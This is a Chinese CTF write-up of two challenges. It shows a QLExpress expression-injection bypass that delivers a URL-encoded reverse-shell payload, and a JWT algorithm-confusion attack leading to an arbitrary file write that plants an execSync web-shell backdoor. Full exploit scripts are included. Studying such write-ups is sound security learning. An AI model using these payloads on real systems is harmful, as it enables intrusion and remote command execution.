前言
看到队友周报里给了比赛附件,来复现学习一下
BabyQL
是个java题,给了个jar包,用idea插件反编译看一下源码
java -cp "/Applications/IntelliJ IDEA.app/Contents/plugins/java-decompiler/lib/java-decompiler.jar" org.jetbrains.java.decompiler.main.decompiler.ConsoleDecompiler -dgs=true ~/Downloads/第一届研究生网络安全大赛/BabyQL.jar ~/Downloads/第一届研究生网络安全大赛/
|
然后jar解压一下
代码挺简单的,exp这个路由,最后的runner.execute(cmd, (IExpressContext)context, null, true, false)
可以执行命令。
主要是两个点,一个是绕过hashCode,一个是绕过正则匹配
绕过hashCode
这里参考HFCTF2022的ezchain,https://goodapple.top/archives/964 这位师傅的做法
一句话概括就是第一个字符+1,第二个字符-31,构造出的hashCode是相同的,利用hVanzhujiarandundunjiechan
还有就是直接碰撞爆破出字符
public static void main(String[] args) { String key = "guanzhujiarandundunjiechan"; for (long i = 0; i < 9999999999L; i++) { if (Long.toHexString(i).hashCode() == key.hashCode()) { System.out.println(Long.toHexString(i)); } String test = "d7d2d123"; System.out.println(test.hashCode() == key.hashCode()); }
|
还有就是要注意,这里发包要采用json格式
import requests import json
url = "http://127.0.0.1:8080/exp"
payload = { "cmd":"777", "x":"hVanzhujiarandundunjiechan" }
header = {"Content-Type": "application/json"} resp = requests.post(url=url, data=json.dumps(payload), headers=header)
print(resp.text)
|
绕过正则
我们先尝试print试试
发现这个确实可以执行表达式,并且cmd参数我们可控,但是看官方文档
https://github.com/alibaba/QLExpress
官方文档中有默认的表达式执行的黑名单,题目中过滤了process|runtime|javascript|\\+|char|\\\\|from|\\[|\\]|load
不能够进行拼接绕过,这里我们采用官方wp,利用URL编码绕过
对payload进行url编码
java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvMjMzMyAwPiYx}|{base64,-d}|{bash,-i}").getInputStream()
|
再利用java.net.URLDecoder.decode
进行解码
具体
"cmd":"import javax.script.ScriptEngineManager;new ScriptEngineManager().getEngineByName(\"nashorn\").eval(java.net.URLDecoder.decode(\"%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%6a%63%75%4d%43%34%77%4c%6a%45%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29\"));",
|
exp
import requests import json
url = "http://127.0.0.1:8080/exp"
payload = { "cmd":"import javax.script.ScriptEngineManager;new ScriptEngineManager().getEngineByName(\"nashorn\").eval(java.net.URLDecoder.decode(\"%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%62%61%73%68%20%2d%63%20%7b%65%63%68%6f%2c%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%6a%63%75%4d%43%34%77%4c%6a%45%76%4d%6a%4d%7a%4d%79%41%77%50%69%59%78%7d%7c%7b%62%61%73%65%36%34%2c%2d%64%7d%7c%7b%62%61%73%68%2c%2d%69%7d%22%29%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29\"));", "x":"hVanzhujiarandundunjiechan" }
header = {"Content-Type": "application/json"} resp = requests.post(url=url, data=json.dumps(payload), headers=header)
print(resp.text)
|
执行成功
HackThisBox
这题给了docker以及源码
而且这题docker-compose启动之前,先自己随便写个private.pem
文件放在config文件里,不然无法启动
整个网站使用了jwt的验证,并且是使用非对称加密RS256进行加密,而在解密的时候使用了对称加密算法HS256
这样有个什么问题呢,会造成密钥混淆攻击
JWT最常用的两种算法是HMAC和RSA。HMAC(对称加密算法)用同一个密钥对token进行签名和认证。而RSA(非对称加密算法)需要两个密钥,先用私钥加密生成JWT,然后使用其对应的公钥来解密验证。
如果将算法RS256修改为HS256(非对称密码算法=>对称密码算法)呢?
那么,后端代码会使用RS256的公钥作为密钥,然后使用HS256算法验证签名。由于公钥有时可以被攻击者获取到,所以攻击者可以修改header中算法为HS256,然后使用RSA公钥对数据进行签名。
源码里我们已经获得了公钥,所以可以伪造token
再看这个路由
router.post('/upload', function(req, res, next) { if(req.files.length !== 0) { var savePath = ''; if(req.auth.isAdmin === false) { var dirName = `./public/upload/${req.auth.home}/` fs.mkdir(dirName, (err)=>{ if(err) { console.log('error') } else { console.log('ok') } }); savePath = path.join(dirName, req.files[0].originalname); } else if(req.auth.isAdmin === true) { savePath = req.auth.home; }
fs.readFile(req.files[0].path, function(err, data) { if(err) { return res.status(500).send("error"); } else { fs.writeFileSync(savePath, data); } }); return res.status(200).send("file upload successfully"); } else { return res.status(500).send("error"); } });
|
如果我们设置isAdmin=true
就可以通过传入的req.auth.home
,利用fs.writeFileSync(savePath, data);
任意写入文件,我们可以覆盖index.js
文件,写入一个后门
而这个writeFileSync
和我们之前分析过的readFileSync
一样,都可以通过url编码来绕过waf,将我们传入的pathname进行编码就可以绕过这个过滤
app.use(function(req, res, next) { if([req.body, req.query, req.auth, req.headers].some(function(item) { console.log(req.auth) return item && /\.\.\/|proc|public|routes|\.js|cron|views/img.test(JSON.stringify(item)); })) { return res.status(403).send('illegal data.'); } else { next(); }; });
|
我们先伪造token服务
token.js
var express = require('express'); var fs = require("fs") var jwt = require("jsonwebtoken") var path = require('path')
var app = express(); var publicKey = fs.readFileSync('./src/config/public.pem');
app.get('/', function(req, res, next) { const token = jwt.sign({username: "admin", isAdmin: true, home: { href: "c", origin: "c", protocol: "file:", hostname: "", pathname: "/app/%72%6f%75%74%65%73/index.%6a%73" }}, publicKey, {algorithm: "HS256"});
res.send({token}) })
var server = app.listen(7000, function () { var host = server.address().address; var port = server.address().port;
console.log("Address is http://%s:%s", host, port); })
|
后门文件shell.js
var express = require('express'); const execSync = require('child_process').execSync; var router = express.Router();
router.get('/', function(req, res, next) { var cmd = execSync(req.query.cmd); res.send(cmd.toString()); });
module.exports = router;
|
最后的exp
import requests
sess = requests.session() url = 'http://localhost:8082'
hearder = {"authorization":"Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaG9tZSI6eyJocmVmIjoiYyIsIm9yaWdpbiI6ImMiLCJwcm90b2NvbCI6ImZpbGU6IiwiaG9zdG5hbWUiOiIiLCJwYXRobmFtZSI6Ii9hcHAvJTcyJTZmJTc1JTc0JTY1JTczL2luZGV4LiU2YSU3MyJ9LCJpYXQiOjE2NjkzMDYzNDZ9.RdEQN3Kt0c_Fz_n9uJP3dTYZHWqdp6GoJ3Yd5YpZjl4"} file = {"file":("./shell.js",open("./shell.js","rb").read())}
res = sess.post(url=url+"/api/upload",files=file,headers=hearder) print(res.text)
|
然后就可以执行命令